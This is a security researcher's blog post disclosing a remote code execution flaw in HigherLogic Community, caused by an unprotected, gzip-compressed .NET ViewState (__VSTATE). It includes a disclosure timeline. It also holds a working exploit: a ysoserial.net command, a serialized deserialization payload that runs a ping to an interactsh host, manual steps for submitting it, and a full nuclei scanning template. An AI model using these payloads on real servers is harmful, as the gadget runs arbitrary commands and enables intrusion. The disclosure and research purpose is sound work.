HigherLogic Community RCE Vulnerability
We initially became interested in the __VSTATE
parameter after reading this article by graanl which we saw after reading this article from The Record about an APT group exploiting how it works.
What is a ViewState?
A ViewState is a parameter that contains information about the state of a users session, eg. are they logged in, who are they logged in as, what settings have they changed. In .NET this is in the form of a serialized .NET object in the __VIEWSTATE
parameter. So on every request to the webserver the user sends back this viewstate that the website gave them and this is how the server manages the users session. The security implications for this are quite clear for anyone who’s heard of deserialization before, it can lead to code execution!
What is __VSTATE
then?
In the late 2000’s people running .NET websites had a problem - they had these huge ViewStates in their webpages.
So to solve this issue with large viewstates some developers came up with a hacky solution - let’s compress it! In order to achieve this they added code that would store the users viewstate in __VSTATE
instead of the default __VIEWSTATE
and it would be compressed, usually with gzip.
Some years later people realized the problems with __VIEWSTATE
being vulnerable to Remote Code Execution (RCE) so changes were made to how it worked and they added settings to make it encrypted with a key so that users couldn’t tamper with it (it isn’t perfect as detailed in Soroush’s blog posts).
The problem is that applications using the __VSTATE
trick never got these updates as developers would have to manually implement these changes themselves if they were to have them.
There is also many websites and StackOverflow answers telling people to use this insecure technique on their .NET webapps which is keeping this issue alive.
Searching for instances of VSTATE
Now that we had something interesting to look for we went to publicwww.com and searched for __VSTATE
. On there we noticed a lot of sites using HigherLogic Community and so we tested the issue.
Proof of Concept
First we got an interactsh link for testing. Burp Collaborator would also work but some servers were configured not to ping out to Burp Collaborator. To generate the payload we used ysoserial.net Simply run this command to generate the payload:
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping c61u8rqnvisr75g3vfv0cgb6ehyyyyyyn.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0
H4sIAAAAAAAAA81VW2/TMBROltZNshU2BAjGS8QTaFXWy64PQ5o6LtUEmsjEy1Sx1D3LIhJ7s51J5ZlX/gt/jV8wfFp3MMQYFR3CVY+v5/Pn4y/H53bz64JlW5Z1rgvWWOZmtOlEA6kgrwXvQMiUs62VsI6/WtAuMlUI2GJQKBFntWCv6GUp3YXBPv8AbKu3vh6v0tW1xmZrBeobm2XE/WSP8MI2zzKgSiPK8CUwECkNIy4U9CNQh42DA7MuUiJlSS3IJeUiS3tTINLtljSTcpsXTLltnp/EAkTFwJY7eldpORZxP/+O68gvlZyNEW6atIvXgX/PGTfwHCXs/WdU8aZn39OLfZ3HZrcdyCCJFUSaWJylH2Nk+opnfRBeWTstlMzRCNFmY5kGJ5pdQNcaxYY4ZWepFOurSevs6KxOk94aHA+GhYUpUyBiquRxqLclFe3t0LxfQtA/2Bxj6I7nKzmoY96vm7rhOE79eoil8dxzpsRg2Ti8hSNzH+FryHsgOuyI/8J70vWei/fvofFRBNidmCRGqaQGJ+DGUurdsgFRsUhA3RlV+3pq28zc+j70Js7BH8UGm9X+j5i2PWPb9uQBI7OazJcZ4/aiYPSwdaMirf0T8J00ThiXKqUy3BOcgpS1YGoptdslczpsu1Ok7pPqVLM+uaXhFq+OBrmNuTjS6lLePOoRNT3p1zAUMmpxbixX7HjtTOt62IrShMXI279oNf0RJCp63qTKbZEUOTAlbSyW41YNEVx00PWQq4fx8fBU5K42z64+WjA81ZOfZHap+5Tc+3sM/PZ9G9MAxo7c16ZiMr2H8iAPtKle8iEP9dBSh6lWMzBLr+G5qB2aZmwCvxE3vFhskUfanF48VePn4aafo2EU/KH1MBYehsif/QZ2waXd9ggAAA==
Then we visit the target site ( eg. https://hug.higherlogic.com/home ) and change the value of _VSTATE
parameter in the hidden form to your payload and change the type from hidden. Then click on the text box top left corner and hit enter to submit the form.
Look back at your interactsh session and you will see that a DNS interaction occurred because of the ping command that was sent.
Reporting
The first thing we did was to submit the issue to ZDI in the hope that they would handle the disclosure process and perhaps even pay us a bounty. Unfortunately ZDI were not interested in our findings.
Our next step was to try and get in contact with HigherLogic. We initially emailed on October 12th. No Response. We sent a second email on October 20th and rang the company on the phone. No response. On October 27th we sent a third email and rang the phone number again. No response.
After being ignored several times by HigherLogic we decided to take a different approach. They may ignore us, but will they ignore clients? We found that 8x8 and IBM were running instances of HigherLogic so we reported to their VDP programs on HackerOne.
They were able to get in contact with HigherLogic about the problem. 8x8 where very helpful and we asked if they could try to get HigherLogic to respond to us and open a line of communication. After 8x8 contacted HigherLogic on our behalf we actually got an email from HigherLogic asking for the vulnerability details. We provided the details in the email and.. nothing, we got no response yet again. (do you see a pattern?)
Soon after that the 8x8 site and the IBM site received patches. Great! Problem fixed right? Not exactly. It became clear to us that HigherLogic didn’t intend to patch all their clients, instead choosing to leave them unaware of the problem despite having a patch on hand.
We submitted 2 more bug reports after 8x8 and IBM were patched. Each time the site owner would have to contact HigherLogic and request them to patch it. Why did they choose to leave clients unaware and only fixed the ones who asked? They were making security optional and knowingly leaving most of their customers vulnerable to RCE. It’s especially weird when you consider there doesn’t appear to be any self-hosted instances of HigherLogic, it’s all managed by them and on their infrastructure.
On January 4th we made the nuclei template and from our scans we found that there was 1,700 websites managed by HigherLogic that were STILL vulnerable to the RCE! These included some major companies and a lot of American unions. This did not sit well with us so we sent another email to HigherLogic informing them that in two weeks time we would be contacting all vulnerable customers about it and releasing this blogpost two weeks after that.
When we rechecked the vulnerable websites on January 18th they were all patched silently without any email back from HigherLogic and presumably without telling anyone about it.
Looks like Responsible Disclosure works after all…?
Timeline
Date | Action |
---|---|
22/09/2021 | Submitted vulnerability to ZDI |
08/10/2021 | ZDI rejected submission |
12/10/2021 | Initial email to HigherLogic requesting a security contact to send details to |
20/10/2021 | Another email asking for a response and called their phone number |
27/10/2021 | Another email asking for a contact and called their phone again |
04/11/2021 | Submitted VDP Report to 8x8 |
04/11/2021 | Submitted VDP Report to IBM |
08/11/2021 | Receive an email from ITO-Security [at] higherlogic.com asking for the vulnerability details |
09/11/2021 | Send detailed email with vulnerability details to ITO-Security to which we receive no response |
10/11/2021 | 8x8 site is patched by HigherLogic |
11/11/2021 | We ask 8x8 if they can ask HigherLogic about notifying and patching their other customers. 8x8 inform me that HigherLogic did not address these concerns. |
11/11/2021 | Email ITO-Security again to ask if they will be fixing it for other customers as they have resolved it in 8x8’s case. |
16/11/2021 | IBM site is patched by HigherLogic |
22/11/2021 | Submitted VDP Report to ConnectWise |
21/12/2021 | ConnectWise site patched by HigherLogic |
04/01/2022 | Sent email to ITO-Security notifying them that we will be publishing this in 30 days and contacting the vulnerable sites in 2 weeks. When we tested on this date there were 1700 websites vulnerable. |
04/01/2022 | Submitted BugBounty Report to Unnamed Company |
07/01/2022 | Awarded $1250 bounty from Unnamed Company |
18/01/2022 | All the sites appear to be patched, no emails sent. |
03/02/2022 | This blog post was released |
Nuclei Template
In order for our payload to be deserialized the request needs to have a valid __HL-RequestVerificationToken
so the first requests extracts that from the page.
The template uses the interactsh functionality in nuclei to confirm the vulnerability when a DNS request is received to the randomly generated subdomain.
To achieve this it decodes the base64 of the payload, does a string replacement to insert the link then compresses and rencodes it. We also modify a byte before our command in the serialized object. This is the length of the payload and needs to be updated as not all interaction domains are the same length.
This template was made in early January in order to test a larger amount of websites quickly instead of doing it manually which we did for the bug bounty reports (as not many of the websites had bounty programs).
I won’t be submitting this template to the nuclei-templates repository as HigherLogic Community is on managed hosting and there should no longer be any vulnerable instances.
The Template
id: HigherLogic-RCE
info:
name: HigherLogic-RCE
author: Fir3God and meme-lord
severity: critical
reference:
- https://blog.sorcery.ie/posts/higherlogic_rce
tags: oast,rce
requests:
- raw:
- |
GET /home HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
- |
POST /home HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
ScriptManager1_TSM=&StyleSheetManager1_TSSM=&__EVENTTARGET=&__EVENTARGUMENT=&__VSTATE={{url_encode(base64(gzip(replace(base64_decode("/wEy7hEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAANS9jIHBpbmcgYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhLmludGVyYWN0LnNoBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="),"5/c ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interact.sh",html_unescape("&#"+(len("{{interactsh-url}}")+8)+";")+"/c ping {{interactsh-url}}"))))}}&__VIEWSTATE=&__HL-RequestVerificationToken={{hl_request_verification}}&ctl00%24SearchControl%24SearchTerm=&ctl00%24MainCopy%24ctl08%24SearchTerm=&ctl00%24MainCopy%24ctl30%24sortByToggle8b8812c3-d1db-4c35-99f7-86c034eb633f=Most+Recent&ctl00%24SearchControl%24hiddenSearchButton=
redirects: true
max-redirects: 3
cookie-reuse: true
extractors:
- type: regex
name: hl_request_verification
part: body
internal: true
group: 1
regex:
- '<input\sname="__HL-RequestVerificationToken"\stype="hidden"\svalue="([a-zA-Z0-9-_/]*)"\s/>'
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"